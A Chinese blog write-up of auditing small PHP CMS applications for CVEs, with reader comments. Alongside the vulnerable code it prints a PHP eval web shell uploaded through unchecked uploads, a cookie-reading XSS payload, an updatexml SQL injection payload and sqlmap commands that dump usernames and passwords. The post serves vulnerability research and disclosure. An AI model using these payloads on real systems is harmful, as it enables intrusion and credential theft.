前言
认识的师傅说有的CMS是相对较简单的,拿到源码后就可以简单的进行一下代码审计,审出漏洞的话就可以尝试提交。本次审计过程记录如下
CVE 2022-2725
审计过程
找到简单的CMS后,进行本地环境搭建,然后用Seay审计系统进行扫描
发现漏洞分为三种,SQL注入,文件上传,XSS,接下来进行
/dashboard/add-blog.php
SQL注入(失败)
查看这个INSERT
语句,发现变量被单引号包裹,观察变量的传值方式,发现被mysqli_real_escape_string
函数包裹,这个函数会转义特殊字符,对单引号这些进行了转义,此时的话这里暂时看是无法实现SQL注入的,看下一个漏洞点。
XSS
if(ISSET($_POST['save'])){
$blog_title = mysqli_real_escape_string($con,$_POST['blog_title']);
$blog_desc = mysqli_real_escape_string($con,$_POST['blog_desc']);
$blog_detail = mysqli_real_escape_string($con,$_POST['blog_detail']);
if ( strlen($blog_title) < 5 ){
$msg=$msg."Blog Title Must Be More Than 5 Char Length.<BR>";
$status= "NOTOK";}
if ( strlen($blog_desc) > 150 ){
$msg=$msg."Short description Must Be Less Than 150 Char Length.<BR>";
$status= "NOTOK";}
if ( strlen($blog_detail) < 15 ){
$msg=$msg."Blog Detail Must Be More Than 15 Char Length.<BR>";
$status= "NOTOK";}
对于上传的变量只是限制了长度,没有防护XSS的,导致了XSS的出现
文件上传
$uploads_dir = 'uploads/blog';
$tmp_name = $_FILES["ufile"]["tmp_name"];
// basename() may prevent filesystem traversal attacks;
// further validation/sanitation of the filename may be appropriate
$name = basename($_FILES["ufile"]["name"]);
$random_digit=rand(0000,9999);
$new_file_name=$random_digit.$name;
move_uploaded_file($tmp_name, "$uploads_dir/$new_file_name");
上传文件时未检验文件格式,导致木马文件可以正常上传
上传文件内容
<?php
phpinfo();
@eval($_POST[1]);
?>
提交后
/dashboard/add-social.php
SQL注入(失败)
if(ISSET($_POST['save'])){
$name = mysqli_real_escape_string($con,$_POST['name']);
$fa = mysqli_real_escape_string($con,$_POST['fa']);
$social_link = mysqli_real_escape_string($con,$_POST['social_link']);
if ( strlen($name) < 2 ){
$msg=$msg."Social Network Name Must Contain A Char.<BR>";
$status= "NOTOK";}
if ( strlen($fa) < 1 ){
$msg=$msg."Fontawesome Must Be At Least 2 Char Long.<BR>";
$status= "NOTOK";}
if ( strlen($social_link) < 5 ){
$msg=$msg."Social Link Must Be More Than 6 Char Length.<BR>";
$status= "NOTOK";}
if($status=="OK")
{
$qb=mysqli_query($con,"INSERT INTO social (name, fa, social_link) VALUES ('$name', '$fa', '$social_link')");
这里的话不难看出同之前一致,SQL注入存在防护,因此不存在SQL注入,这里属于误报,下一处。
XSS
if(ISSET($_POST['save'])){
$name = mysqli_real_escape_string($con,$_POST['name']);
$fa = mysqli_real_escape_string($con,$_POST['fa']);
$social_link = mysqli_real_escape_string($con,$_POST['social_link']);
if ( strlen($name) < 2 ){
$msg=$msg."Social Network Name Must Contain A Char.<BR>";
$status= "NOTOK";}
if ( strlen($fa) < 1 ){
$msg=$msg."Fontawesome Must Be At Least 2 Char Long.<BR>";
$status= "NOTOK";}
if ( strlen($social_link) < 5 ){
$msg=$msg."Social Link Must Be More Than 6 Char Length.<BR>";
$status= "NOTOK";}
未对内容进行防护,只限制了长度,导致了XSS的出现
/dashboard/add-service.php
XSS
$msg="";
if(ISSET($_POST['save'])){
$service_title = mysqli_real_escape_string($con,$_POST['service_title']);
$service_desc = mysqli_real_escape_string($con,$_POST['service_desc']);
$service_detail = mysqli_real_escape_string($con,$_POST['service_detail']);
if ( strlen($service_title) < 5 ){
$msg=$msg."Service Title Must Be More Than 5 Char Length.<BR>";
$status= "NOTOK";}
if ( strlen($service_desc) > 150 ){
$msg=$msg."Short description Must Be Less Than 150 Char Length.<BR>";
$status= "NOTOK";}
if ( strlen($service_detail) < 15 ){
$msg=$msg."Service Detail Must Be More Than 15 Char Length.<BR>";
$status= "NOTOK";}
只检验了长度,未对XSS语句进行防护,导致XSS漏洞
文件上传
$uploads_dir = 'uploads/services';
$tmp_name = $_FILES["ufile"]["tmp_name"];
// basename() may prevent filesystem traversal attacks;
// further validation/sanitation of the filename may be appropriate
$name = basename($_FILES["ufile"]["name"]);
$random_digit=rand(0000,9999);
$new_file_name=$random_digit.$name;
move_uploaded_file($tmp_name, "$uploads_dir/$new_file_name");
对文件本身未进行检验,格式也没有要求,导致PHP一句话木马可以成功上传
上传文件内容
<?php
phpinfo();
@eval($_POST[1]);
?>
由于剩下的几个漏洞点均与上方这几个相似,SQL注入存在防护,XSS和文件上传未进行防护,所以这里不再一一演示
提交
将过程简单梳理一下,再用英文翻译一次,去https://vuldb.com/提交即可
提交几小时后收到了邮件
在网站下查看
成功的水到第一个CVE!!!
CVE第二弹
/admin/edit.php
$sql = "select * from student where id = ".$_GET['eid'];
$table = mysqli_query($cn, $sql);
$row = mysqli_fetch_assoc($table);
eid参数未进行防护,同时这个eid参数未被单引号包裹,但这里存在取结果时存在这个mysqli_fetch_assoc
函数,这个函数要求参数未True或False,即布尔值,这个时候就要求变量$table
不能够出现错误,否则这个函数就会报错,所以这里无法实现SQL注入
接下来看这段代码
<?php print $_GET['eid'].', Name: '.$row["sname"]; ?>'s information</h3>
这里的eid同样是不存在防护的,这里直接将这个eid
变量进行了输出,这里我们可以插入XSS语句,窃取用户cookie和盗取其他信息,构造语句如下
a=edit&eid=<script>alert(document.cookie)</script>
CVE 第三弹
login.php
登录界面,输入一个单引号测试一下是否存在SQL注入
存在SQL注入,同时验证了闭合方式为单引号闭合,尝试单引号注入
注入payload为
1'and updatexml(1,concat(0x7e,database(),0x7e),1)#
成功获取数据库,接下来使用burpsuite抓包获取数据包
使用工具sqlmap进行攻击,获取数据表payload
python sqlmap.py -r "D:\sqlmap\3.txt" -D "db_lms" --tables
获取列信息payload
python sqlmap.py -r "D:\sqlmap\3.txt" -D "db_lms" -T "user" --columns
获取字段信息payload
python sqlmap.py -r "D:\sqlmap\3.txt" -D "db_lms" -T "user" -C "username,password" --columns
总结
喜提三个CVE
师傅很牛
谢谢师傅鼓励,我继续努力(ฅ´ω`ฅ)
请问这是哪个CMS啊?
Java源码审计有没有推荐的工具呢?谢谢
师傅你好,这几个是不知名的小型CMS,是在一些外国源码网站上找到的。我目前没有进行JAVA的代码审计,因此暂无工具推荐